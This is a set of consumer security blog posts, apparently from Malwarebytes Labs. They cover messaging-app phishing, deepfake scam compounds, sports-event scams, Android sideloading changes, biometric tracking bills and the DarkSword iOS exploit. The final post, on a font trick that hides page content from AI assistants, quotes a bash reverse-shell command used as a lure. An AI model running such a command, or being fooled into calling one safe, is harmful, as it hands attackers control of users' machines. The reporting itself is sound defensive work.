So, while it’s tempting to dismiss this as a problem for diplomats and generals (and the agencies issuing these alerts do mention high‑profile targets first), the techniques scale very easily. Once playbooks like these are public, they tend to be copied by cybercriminals looking for new ways to steal money or accounts.

How to protect your accounts

As the PSA puts it:

“Phishing remains one of the most unsophisticated, yet effective means of cyber compromise, often rendering other protections irrelevant”

This calls asks for basic security measures:

• Treat unsolicited messages from “Support” inside apps as suspicious by default. Legitimate support for apps like Signal and WhatsApp does not ask you, in a chat message, to send back verification codes, PINs, or passwords.​ If you receive a warning about account problems, do not follow links in the message. Open the app’s settings directly or visit the official website through other means.
• Never share SMS verification codes or app PINs. SMS codes are there to prove that you control a phone number. Anyone who has the code can pretend to be you. App‑specific PINs or passcodes are there to protect account changes. Giving them away is like handing over the keys to your account. Consider anyone asking for them to be a scammer.
• Be careful what you discuss and with whom. Both the Dutch and US advisories remind us that even with end‑to‑end encryption, some conversations are too sensitive for commercial chat apps.
• Use the extra security features these apps offer. Enable options like registration lock, registration PIN and device‑change alerts so that your account cannot be silently re‑registered without an extra secret. Store your PIN in a password manager instead of choosing something easy to guess or reusing a common code, to reduce the chance of social engineering or shoulder‑surfing.
• Another useful feature is disappearing messages. Short‑timer and disappearing messages reduce how much content is available if an attacker gets into a chat later, or if someone obtains long‑term access to a device or backup. They are not a complete solution, but they can limit the damage.

What to do if you think your account was hijacked

If you suspect an attacker has taken over your messaging account:

1. Try to re‑register your number in the app immediately to kick out other devices.
2. Revoke all linked devices and change any app‑specific PINs or lock codes.
3. Warn your contacts that someone may have impersonated you and ask them to treat recent messages with caution.
4. Review recent conversations for signs of data theft (for example, shared IDs, documents, or passwords that should now be considered exposed).
5. Report the incident to the app provider and, where appropriate, to national reporting centers such as the FBI’s Internet Crime Complaint Center (IC3) at ic3.gov or the relevant authority in your country.​

The sooner you act, the smaller the window in which attackers can exploit your account.

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We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Scam compounds in Southeast Asia have already become modern slave farms, trapping victims and forcing many of them to become scammers for them. Now they’ve added another type of worker to the mix: so-called AI models.

These professional scammers conduct video calls with their targets, charming them into handing over their cash. As reported in WIRED this week, recruitment ads describe roles handling around a hundred live video calls per day, promoting romance scams and crypto hustles in industrial-scale scam operations across Cambodia, Myanmar, and Laos. 

These scam farms already rely on chat operators to ensnare scam victims via messaging apps. Many of these operators are themselves victims of trafficking, forced to work long shifts under threats of violence. They develop relationships with victims over time, exploiting loneliness or financial worries. While they work to make a victim feel special, they’re actually juggling similar text sessions with dozens of people at once. Eventually, a victim may want a video call, either to meet their imagined sweetheart or to confirm an investment opportunity is legitimate (or both). 

Chat operators might not have the ability to charm victims on video, especially when they’re victims themselves, being made to work long shifts and are physically beaten.  So when a victim asks for a video call, the scam bosses call in a specialist “AI model” with strong interpersonal skills to charm the victim. Despite the name, they’re real people hired to appear on video calls. The AI deepfake software adjusts their looks to match the fictionalized person that the victim is hoping to see. 

Scam operations run recruitment ads for these models, and many seem willing to apply for these jobs. Humanity Research Consultancy, an investigative research group that tracks trafficking supply chains, identified a pitch from a 24-year-old Uzbekistani calling herself Angel. She claimed to speak four languages and to have a year’s experience as an AI model. She demanded $7,000 monthly for her services. 

The growth of scam compounds 

How do these scam compounds even exist? According to the Australian Strategic Policy Institute, Myanmar’s 2021 military coup helped fuel a fraud boom. Scam centers along the Thai border have more than doubled as crime syndicates move into that region, along with Myanmar, Cambodia and Laos. 

These scam centers are often tolerated because they line the coffers of local militia. But there have been some countermeasures. Raids and cross-border crackdowns have led to arrests and the movement of large numbers of suspects between countries, including operations targeting compounds such as KK Park in Myawaddy. Cambodia and Myanmar have also signalled increased efforts to tackle scam operations, although the networks remain highly resilient.

This kind of activity becomes easier as technology improves. Real-time face-swapping and deepfake tools are now good enough to support live video, not just pre-recorded clips. We’ve already seen real-time deepfakes used for everything from job interviews through to impersonating banking executives to scam millions. What’s new here is the scale: people handling dozens or even hundreds of calls a day for romance scams and crypto investment fraud shows that this is now a mass exploit. 

How to stay safe 

Here’s the problem with deepfake video: the common “tells” that let you spot it are evaporating. At one time a sure sign of an AI deepfake was someone with the wrong number of fingers or oddities in hairlines. You can up the ante in live calls by asking someone to turn sideways. Have them touch their nose, and wave their fingers in front of their face. It’s more difficult for deepfake software to handle that extra noise. 

But beware: the algorithms that produce deepfakes are getting better all the time, and more easily able to handle such tests. We’re at the point where this deepfake researcher says many more of us will be fooled by them this year. 

If you can’t fully trust what you see, fall back on what you know. Be wary of unsolicited contact, especially when someone quickly builds emotional rapport or introduces an investment opportunity. Even if a profile looks well-established or a website appears legitimate, take time to dig a little deeper.

Avoid sharing personal or financial information with someone you’ve only met online, and be wary of anyone who pushes you toward quick decisions or asks to move conversations off established platforms. The FBI has some sound advice on their website. 

The most dangerous part of this deepfake AI model trend is that it helps scam operations cross the final frontier. A live human can close a scam that a simple chat interaction can’t. That’s why people like Angel from Uzbekistan have a job, and why you need to be more on your guard than ever. 

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We don’t just report on scams—we help detect them

Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

March Madness is the annual men’s and women’s NCAA Division I basketball tournament, where 68 teams play in a single-elimination bracket for the US national championship.

But March Madness doesn’t just bring buzzer beaters and busted brackets. It also kicks off a short, intense season for scammers who know fans are distracted, emotional, and often in a hurry. In this post, we’ll walk through the main scam patterns that pop up around the NCAA men’s basketball tournament, so you can recognize them and shut them down before they score.

Large sporting events combine three components that scammers love: money, emotion, and urgency. Fans are hunting for last‑minute tickets, “can’t‑miss” bets, and ways to watch every game. They’re in a hurry, so their guard is down.

From an attacker’s perspective, March Madness is conveniently predictable. Every year in March, millions of people will Google the same terms, click the same types of ads, and respond to the same social media bait. Once you’ve seen the patterns, you’ll start recognizing them around other major events too.

Fake ticket marketplaces and resale fraud

Ticket scams are a staple of any big concert, playoff series, or tournament, and March Madness is no exception.

The playbook is simple: Scammers set up sites and listings that look like legitimate ticket resellers, then take your money and run.

Things to keep an eye on:

• Screenshots or PDFs of barcodes won’t work when entry tickets are dynamic or tied to an app, but scammers still sell them. Victims will only find out at the gate when tickets are rejected.
• Too good to be true last‑minute deals. Offers for prime seats at prices well below the official box office, often paired with urgency imposing tactics: “must pay in the next 10 minutes,” “three buyers waiting,” or “I’ll lose my deposit if you don’t decide now.”
• Sellers push victims into private channels (text, WhatsApp, DMs) and insist on payment methods that are irreversible, like wire transfers, P2P apps, gift cards, or cryptocurrencies.

Fake betting sites, “sure thing” tips, and bonus traps

Legal sports betting has gone mainstream in the US, and March Madness is one of its biggest events. The huge number of casual bettors is a scammer’s dream. Their tactics can be divided into two main categories:

• Cloned betting platforms. Attackers create sites and apps that mimic real sportsbooks, complete with copied logos, odds feeds, and login pages. Users deposit funds, place bets, and maybe even see “winnings” pile up in the interface—until they try to withdraw and are hit with fees, extra deposits, silent account bans, or witness a disappearing act.
• “Guaranteed” bets. Social media fills up with self‑proclaimed experts selling access to VIP betting groups or “guaranteed” locks on tournament games. Victims pay for tips or are funneled into shady offshore sites that conveniently lose their money or demand more deposits to “unlock” withdrawals.

Streaming scams

Not everyone has a cable subscription or an official streaming package, and scammers know many fans will look for free or cheap alternatives. That creates a fertile ground for malicious streaming offers. There are some common patterns to watch for:

• Fake portals promising all the games live. Websites advertise free HD streams of every tournament game but require you to create an account and enter a credit card “for age verification” or a “free trial.” Once you submit details, charges appear or your card data is sold on.
• Malicious players and extensions. Some sites will prompt you to download a special player, codec, or browser extension before you can watch. Instead of video, you get adware, browser hijackers, or a foothold for more serious malware.
• Shortened URLs and reposted “official stream” links spread quickly around tip‑off time, often redirecting through multiple ad and tracking networks before landing on phishing or scam pages.
• Like-farming and other social media clickbait promising free streams only to boost the account’s reputation for a next wave of scams.

Bracket phishing, office pools, and prize scams

Brackets are part of the culture: friends, families, and workplaces run pools where everyone predicts the tournament results. Scammers piggyback on that habit with phishing campaigns and fake prize draws. These usually show up in a few ways:

• Official bracket challenge phishing. Emails or messages invite you to join a tournament bracket hosted by a big brand or media outlet, complete with logos and plausible wording. The link really leads to a credential‑harvesting page masquerading as your email, work SSO, or a well‑known sports site.
• Fake “you won the pool” notifications. Messages claim you’ve won a prize in a bracket you never joined, and instruct you to click a link or provide personal and banking details to receive your payout.
• All the data they can get for you to join. Some bracket or contest sites ask for far more information than necessary. They want your full address, date of birth, even ID numbers, all under the pretext of age verification or tax reporting. Once you provide them, the phishers will monetize the data.

How to stay safe

Defending yourself against March Madness scams isn’t about never betting or never buying tickets. But you should treat the entire tournament as a high-risk period and tighten up your usual habits.

While the underlying technical tricks may vary, the social engineering themes are consistent:

• Urgency. Time is limited, for some reason. The goal is to stop you thinking.
• Scarcity. Limited seats, limited odds boosts, limited contest spots. All designed to trigger FOMO.
• Too good to be true. Playing on hope and excitement.
• Authority and familiarity. Scammers use team logos, broadcaster branding, or language that mimics your employer’s internal pool announcements to appear legitimate.

The defenses are also much the same:

• Think before you click, act, or buy. If something looks suspicious, check it with Scam Guard.
• Type official URLs into the browser or use trusted apps instead of following links from email, DMs, or social posts.
• Use protected payment methods. Pay with credit cards or other methods that support chargebacks and dispute resolution.
• Treat all unsolicited and unexpected messages as suspicious.
• Report incidents. If you think you have been scammed, report it to your bank, the FTC and via BBB’s Scam Tracker.

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We don’t just report on scams—we help detect them

Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.

Google has announced the introduction of Advanced Flow, designed to let Android users install apps from unverified developers more safely than before.

This process is known as sideloading. It means installing an app on your device from somewhere other than the Google Play store, usually by downloading and opening its installation file yourself.​

Right now, that typically involves:

• Downloading an app file (an APK on Android) from a website, email, or another source instead of Google Play.​
• Manually installing it, often after turning on a setting that allows apps from “unknown” or “unverified” developers.

From Google’s point of view, this has been a security weak spot. Scammers regularly abuse sideloading to trick victims into installing malware while bypassing built‑in protections.

They often pressure victims into installing apps that turn out to be infostealers or other malware. According to research by the Global Anti-Scam Alliance (GASA), scams caused an estimated $442 billion in losses last year.

So anything that helps reduce that risk is welcome.

What Google is changing isn’t dramatic, but it does make the process of installing an app from outside the official Play Store more secure. In simple terms, Advanced Flow adds extra steps and delays so scammers can’t rush people into disabling protections and installing their malware.

How Advanced Flow works

To sideload apps using Advanced Flow, users will need to go through a series of steps:

• Enable developer mode in system settings. This is easy enough, and helps prevent accidental or one-tap bypasses often used in high-pressure scams.
• Complete a quick safety check to make sure that no one is talking you into turning off your security. Scammers often pressure victims into disabling protections.
• Restart your device, which cuts off any remote access or active phone calls a scammer might be using to guide you.
• Wait one day, then you can confirm the change using biometrics (like fingerprint or face unlock) or your device PIN. This one-time, one-day delay breaks the urgency scammers rely on, giving you time to think.

Once you’ve confirmed you understand the risks, you’re all set to install apps from unverified developers. You can allow this for seven days or indefinitely. For safety, you’ll still see a warning that the app is from an unverified developer, but you can just tap “Install Anyway.”

In addition to the Advanced Flow, Google is introducing free, limited distribution accounts for students and hobbyists. These let developers share apps with a small group (up to 20 devices) without needing ID verification or a registration fee. 

What this means for users

So after these changes, these will be the options for users that have “developer mode” enabled on their Android device.

• Sideloading directly from verified developers
• Sideloading from developers with limited distribution accounts
• Sideloading from unverified developers with Advanced Flow

Advanced Flow is expected to roll out in August 2026.

Overall, it seems a reasonable compromise. Sideloading isn’t going away, so this keeps that ability but adds meaningful barriers against scam‑driven installs, thwarting social‑engineering campaigns without outright killing power‑user workflows. The one-day delay could turn out to be frustrating though, even if it’s only a one-time event.

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We don’t just report on phone security—we provide it

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Last week on Malwarebytes Labs:

• Could your face change what you pay? NYC wants limits on biometric tracking
• That “job brief” on Google Forms could infect your device
• A DarkSword hangs over unpatched iPhones
• Your tax forms sell for $20 on the dark web
• Researchers found font-rendering trick to hide malicious commands
• Apple patches WebKit bug that could let sites access your data
• Inside a network of 20,000+ fake shops
• Fake Pudgy World site steals your crypto passwords
• 90% of people don’t trust AI with their data
• How searching for a VPN could mean handing over your work login details
• Google cracks down on Android apps abusing accessibility
• Hacked sites deliver Vidar infostealer to Windows users
• Zombie ZIP method can fool antivirus during the first scan
• Delete doesn’t mean gone. Here’s how File Shredder fixes that

Stay safe!

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We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

New York City lawmakers are pushing to ban private businesses from using biometric tools like voice and facial recognition software to track the public.

While the desire to use surveillance technology in stores to fight shoplifting is understandable, lawmakers and privacy advocates are worried that the data could be repurposed to profile customers.

The New York City Council has held a hearing over two bills that would ban city landlords and businesses from using facial recognition technology.

• One proposal would make it illegal for any public place to use biometric recognition technology to identify or verify a customer.
• The other would prohibit landlords from installing, activating, or using any biometric recognition technology that identifies tenants or their guests.

In this article we want to focus on some of the reasons behind these proposals.

For context, it’s good to know that in New York City, businesses that collect biometric data are already required to post standardized signs letting people know.

Let’s look at what happens when your face becomes your ID, and every movement in a store can be turned into another data point.

Why gathering biometric data is considered bad

Collecting biometric data raises several objections. The most pressing ones are:

• Unique but hard-to-erase identifiers. While you can reset a password, your face is harder to change. This means data leaks or abuse of facial templates, gait, or voiceprints can create permanent risks and be linked across databases.
• Accuracy and bias concerns. Studies and civil liberties groups have found that facial recognition system can be error-prone and biased across different groups.
• Lack of meaningful consent. In practice, supermarkets and landlords using facial recognition are giving people a mere theoretical choice. People can submit their biometrics or forego basic services. Critics argue that this undermines genuine consent.
• Chilling effect. The feeling of constantly being watched everywhere you go is an uncomfortable one, and can discourage people from engaging in everyday, legitimate activities.
• Surveillance pricing. This deserves some more explanation, which we’ll cover next.

What is surveillance pricing?

It’s essentially how your face becomes an unerasable loyalty card.

Imagine you go into a local supermarket and notice that different people pay different prices for the same item. Would that feel fair?

Surveillance pricing refers to the use of detailed consumer data and behavioral signals to dynamically adjust prices.

Some characterize it as retailers using big‑data profiles to segment customers into increasingly narrow groups, down to the level of potentially charging each person the maximum the model thinks they are willing to pay.

We already see versions of this online. When you’re looking for airline tickets, for example, prices can change based on various signals. But it can be hard to notice, and companies tell us it’s not personal. But imagine that same logic quietly following you into the supermarket.

How this works online is relatively straightforward: websites track clicks, time on page, cart activity, and past spending to estimate how sensitive you are to price changes.

In physical stores it’s more complex, but not impossible. Data from in-store security systems that also collect biometrics and facial recognition can be combined with loyalty programs, apps, and in‑store Wi‑Fi analytics could, in theory, be combined to build similar profiles.

Electronic shelf labels (ESL) can already allow retailers to change shelf prices instantly across a store or specific sections.

This could lead to situations where wealthier or more brand-loyal customers are quietly charged more. Or vulnerable groups could be targeted with manipulative discounts for higher‑margin or even less healthy products.

What to do?

Unfortunately, there’s no simple way to privacy‑hack your way out of a system that can turn your body into a tracking ID. The most effective fix is boring but powerful: laws with teeth, regulators that actually enforce them, and stores that don’t hide what they’re doing.

You could:

• Avoid stores that openly advertise biometric scanning when there are alternatives.
•  Support local and national efforts to regulate biometric tracking and related practices, such as the proposals from the New York City Council.

We shouldn’t have to trade access to food, housing, or basic services for the ability to move through a city without our bodies being mined for data. If we don’t draw that line now, practices like surveillance pricing could quietly bake inequality and discrimination into something as mundane as buying groceries.

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Researchers at Google have identified an iOS exploit chain, named DarkSword, that has been used since late last year by multiple actors to infect iPhones with malware in targeted attacks.

DarkSword combines six vulnerabilities in iOS and Safari to deploy malware on the device. It demonstrates, once again, how important it is to keep up with updates.

The exploit works against iPhones running iOS versions 18.4 through 18.7, and simply visiting a malicious or compromised website with a vulnerable device can be enough to get infected (a drive‑by attack).

The researchers found that several groups are using the tool to attack their preferred targets. DarkSword has been used both by commercial spyware vendors and by state‑backed actors, with campaigns observed in Saudi Arabia, Turkey, Malaysia, and Ukraine.

In Saudi Arabia, attackers used a fake Snapchat lookalike. In Ukraine, attackers compromised at least two Ukrainian websites, including a government site.

Upon successful exploitation, malware is executed on the device. The type of malware depends on the attacker. In the Ukrainian campaign, that malware is known as Ghostblade, one example of a payload delivered via the DarkSword exploit chain.

Ghostblade is a JavaScript‑based data‑stealer that exfiltrates unique device identifiers, SMS and iMessage messages, call history, contacts, Wi‑Fi configuration and passwords, Safari cookies and browsing history, location data, notes, calendar entries, health data, photos, iCloud Drive files, SIM information, emails, a list of installed apps, saved passwords, and the message history from Telegram and WhatsApp.

Beyond this, Ghostblade stands out because it also targets cryptocurrency‑related data, actively seeking apps for major exchanges (Coinbase, Binance, Kraken, Kucoin, OKX, Mexc) and wallet apps (Ledger, Trezor, Metamask, Exodus, Uniswap, Phantom, Gnosis Safe). Researchers note that Ghostblade is not built for long‑term surveillance: once it has collected the data, it deletes its temporary files and terminates itself.

The risks

Vulnerable devices can be infected just by visiting that one malicious or compromised website. And the consequences can be severe. DarkSword turns a single website visit into full device compromise, followed by Ghostblade exfiltrating as much data as it can in one go.

• Data theft: Ghostblade and related payloads can grab communications (SMS, iMessage, Telegram, WhatsApp, email), photos, health data, location history, Wi‑Fi credentials, keychain items, and more in one sweep.

• Crypto theft and profiling: The malware enumerates specific exchange and wallet apps, which allows both direct theft and lets criminals use the stolen information to build a detailed profile of financially interesting targets.

• Forensic evasion: Because Ghostblade wipes its own traces after stealing all that information, it can take a long time before victims figure out something is wrong. Many victims may never know they were compromised.

Since the same exploit kit is being reused across commercial surveillance firms and state‑aligned actors, the number of campaigns and victims will increase over time.

The solutions

Update to the latest iOS available for your device. DarkSword can affect iOS versions 18.4 through 18.7, and Apple’s recent releases include fixes for CVE‑2026‑20700 and related vulnerabilities.

If you have reason to believe you’re a potential target for attacks of this nature (journalists, activists, or people that have access to sensitive data) it is advisable to enable Lockdown Mode:

1. Open the Settings app.
2. Tap Privacy & Security.
3. Scroll down, tap Lockdown Mode, then tap Turn On Lockdown Mode.
4. Read the presented information and tap Turn On Lockdown Mode.
5. Tap Turn On & Restart.
6. Enter your device passcode when prompted.

Do inform yourself about the consequences of turning on Lockdown Mode. It makes your device a lot less user-friendly, but it has proven effective against highly targeted attacks.

Here are some more general tips:

• Use up-to-date, real-time anti-malware protection for your device to block malicious websites where possible.
• Avoid following links sent in unsolicited messages, especially for services like Snapchat, crypto exchanges, banking, or email.
• Use content blockers (for example Malwarebytes Browser Guard) in Safari to reduce exposure to malicious content (though they are not a silver bullet for zero‑days).
• Move high‑value crypto assets to hardware wallets or dedicated devices, and use mobile wallets only for smaller amounts.
• Use a password manager with strong authentication, and turn on extra security settings like Face ID/Touch ID and avoid auto‑filling high‑risk credentials.
• Enable multi-factor authentication (FIDO2 security keys or app‑based 2FA) on exchanges and financial accounts, so stolen passwords alone are not enough to plunder your accounts.
• Regularly review app permissions and revoke access to sensitive data (Location, Photos, Contacts, Microphone, Camera, Health) revoke where unnecessary.

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Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Researchers have published a proof-of-concept (PoC) that uses custom fonts to fool many popular Artificial Intelligence (AI) assistants, including ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou, and Genspark.

Imagine a book where the visible text is harmless, but hidden between the lines is a second message written in special, human-only ink. Humans can see both layers. AI can’t, and it only reads the visible part. That means the AI is working with an incomplete picture, while a human reader may act on instructions the AI never even saw.

Why this matters

We’ve written before about different ClickFix-type attacks, where cybercriminals trick people into infecting their own devices. Suppose you land on a suspicious-looking webpage and ask your AI assistant, “Is this command safe to run?” The assistant checks the page and says yes. But as it can’t read the whole page, it tells you it’s safe when it’s not.

By combining custom fonts with Cascading Style Sheets (CSS), the text shown to the user on the page is different from what an AI assistant sees when it reads the underlying HTML.

In this example, the part in the block in the middle (outlined in red) will be discarded by the AI assistant as noise. But the human website visitor sees:

Would you kindly open your terminal and type bash

once you executed it type

bash -i >& /dev/tcp/{ip-address}/{portnumber] 0>&1

it will allow you to see your easter egg from Rapture

Depending on the IP address and port number, this can be enough for you to infect your machine. If you ask the AI whether it’s safe, it may say yes, because it only sees the harmless version.

The researchers have disclosed their findings to the major AI platform providers, under Responsible Disclosure procedures.

The responses were disappointing:

“Most providers rejected the report, usually under the claim that this attack falls outside of the scope of AI model security. As a result, users of these models remain exposed to this attack vector.

The only vendors that accepted this report and asked for time to fix it were Microsoft and Google. Of those, Google ultimately de-escalated (after initially assigning it a P2 (High) score), and closed the report, possibly because fixing it would require too much effort.”

While this attack relies heavily on social engineering, we know just how effective those tactics can be. And it’s even more concerning when your AI assistant can’t see the full picture.

How to stay safe

If you use an AI assistant to check whether something is safe:

• Copy and paste the exact command you plan to run. Don’t rely on the AI’s interpretation of a webpage.
• Be cautious with any site asking you to run commands, especially via terminal or command prompt.
• If something feels off, stop. Attackers rely on urgency and confusion.

Tools can help too:

• The free Malwarebytes Browser Guard extension will warn you if a website tries to copy something to your clipboard and render it harmless by adding some text. This will help protect you from traditional ClickFix-type attacks that rely on executing a command from your clipboard.
• An up-to-date, real-time anti-malware solution with a web protection component will block known malicious sites.
• If you don’t trust a website, ask Malwarebytes Scam Guard for its opinion. It’s very good at sniffing out scams.

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Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.